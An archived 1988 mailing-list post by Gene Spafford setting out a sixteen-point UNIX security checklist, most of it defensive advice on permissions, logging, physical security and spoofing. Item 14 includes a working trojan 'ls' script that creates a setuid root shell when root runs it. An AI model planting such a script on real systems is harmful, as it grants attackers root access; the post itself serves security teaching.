The 'Security Digest' Archives (TM)

Archive: About | Browse | Search | Contributions | Feedback
Site: Help | Index | Search | Contact | Notices | Changes

ARCHIVE: 'Phage List' - Archives (1988 - 1989)
DOCUMENT: phage #327 [Security checklist] (1 message, 2988 bytes)
SOURCE: http://securitydigest.org/exec/display?f=phage/archive/327.txt&t=text/plain
NOTICE: securitydigest.org recognises the rights of all third-party works.

START OF DOCUMENT

From: Gene Spafford <spaf>
To: phage
Date: Mon 15:40:52 05/12/1988 EST
Subject: Security checklist
References: [Thread Prev: 326] [Thread Next: 337] [Message Prev: 326] [Message Next: 329]

The following is adapted from a 1975 AFIPS paper by R. R. Linde, abstracted
in Deitel's OS book.  This is intended to give you some ideas and possibly
generate some discussion...of a GENERAL nature.

Generic Flaws
-------------
1) authentification.  Not of the user, but by the user.  There is no
way for a user to know for certain that the system/service they are using
is really the one they expect.

Case in point I have heard about:  student got to modem bank at school, and
set call forwarding on one line to his home computer.  He had a program
running on his home computer that mimiced the login banner and captured
everyone's login and printed an "unavailable, try later" message.  As the
modem was one of a rotor pool, it wasn't noticed and he reset it a few days
later.  After he had captured some sensitive passwords.

General solution? Generally requires some kind of dedicated access or login key,
such as a smart card.  Particular solutions?  Check where your terminal
lines run.  Make sure phone lines and modems are in a secured location.
Make sure there is no public access to diagnostic ports.  Most important,
be suspicious if a user reports odd behavior.

2) Problems of trust.  This isn't trust of a user, but trust in a mechanism.
For instance, you have placed faith in the trust on the door lock, but
has somebody explained to the custodial staff that they should never ever let
anyone in without explicit authorization?  Have you trusted one of your
staff to watch over bug reports in the security lists and install them
as they come across?  if so, how do you know it is being done (correctly)?

Solution?  Don't assume.  Go over the whole setup and verify that everything
is being done the way you expect.  Think of weak points instead of whether
everything has been covered.

3) Problems of implicit sharing.  Can arbitrary users read your /dev/kmem?
Does everybody use /tmp with a umask that allows those temp files to be read?

Partial solution?  Restrict shared space to a need-to-know area.  A
really restrictive (but attractive) idea has /tmp a special directory.
Anything that tries to open a file in tmp actually opens a file in
/tmp/user, where /tmp/user is a mode like 711 or 710.  Thus, temporary
files could not be read or written by any other user.  (This would be a
generalization of the idea of conditional symbolic links)

4) Unnecessary privileges.  Does every setuid program on your system need
that, or can it be setgid?  Does every setgid program need that?  Check
the user/group such programs use.  Can they work just as well with a
special userid all their own (that cannot access any other resources)?
Do your operators have the "root" password to do backups?  (Instead,
why not have a different login with a restricted shell, or chmod dump to 510).

5) Entrapment.  Do you have any account with simple passwords that will cause
some immediate notification if used?  For instance, is there an account
that is recognized by code in your login program and which results in an
immediate notification to console, root, etc. that someone is snooping and
has broken into that account?

6) Confinement.  Do you have local admin programs mode 755?  Why (why not 750 or
700)?  In fact, any programs that contain the names of files or that run
setuid should be 511 or 510 -- don't let "strings" or "adb" be run on them.
Same for configuration files (like /usr/lib/crontab) -- they should be 600 or 640.
Can users run "cron"?  (As your userid, put about 5 instance of cron
int he background.  What does it do to your system?  What if someone
broke into "news" or "nobody" and did the same?)

7) Prohibitions.  Users are warned not to use some feature.  You should be sure
that if they do, the result is not something that allows them to break security.
Don't depend on the warning to keep them away.  In fact, it may attract crackers.

8) Physcial security.  Can your terminal lines be tapped?  Can someone hang a
PC with an Ethernet card in promiscuous receive mode on your Ethernet cable?
Can someone make off with a tape containing your passwd file to crack at
leisure on their machine?  Can someone reboot your system single user
as root and view files at their leisure?

9) Asynchronism.  Do you have a case where partial results can be
changed in the middle of an operation (ala the System V mkdir bug)?

10) Browsing protection.  Are admin directories set so users can browse
through them?  That is, is /usr/adm anything other than 711 or 710?  Is
/usr/src something other than 750 or 700?

11) Clandestine coding.  How do you verify bug fixes and patches that
you put into place?  Just because it is in your mail or news, how do
you know you can trust it?  Do you read through and understand the
patches before you put them into place?

12) Denial of service.  Are there limits as to how much of any particular
resource a user can use?  File quotas, process limits, etc....?

13) Logging.  Is every bad password and access attempt logged?  Do you
read the logs on a regular basis?  For instance, does rexec log
bad password attempts?  ftp? 

14) Unexpected invocation.  Do you have "." in root's search path?  In
your own search path?  One of my favorite versions of "ls" to catch root:
#!/bin/sh
ffile=/usr/spaf/src/news/misc/foo
/bin/cp /bin/sh $ffile
/etc/chown root $ffile
/bin/chmod 4555 $ffile
/bin/rm -f $0
exec /bin/ls $@

15) Operator spoof.  Can your operators be fooled with a phone call
to change a password, mount a tape, change a disk.  Do you require at
 least a callback?

16) Error codes.  Do your utilities check error codes properly?
If UNIX, probably not.  Proceeding with many operations will cause some
utilities to dump core files with senistive contents, or possibly write
the wrong information to the wrong place.


Comments?
--spaf

END OF DOCUMENT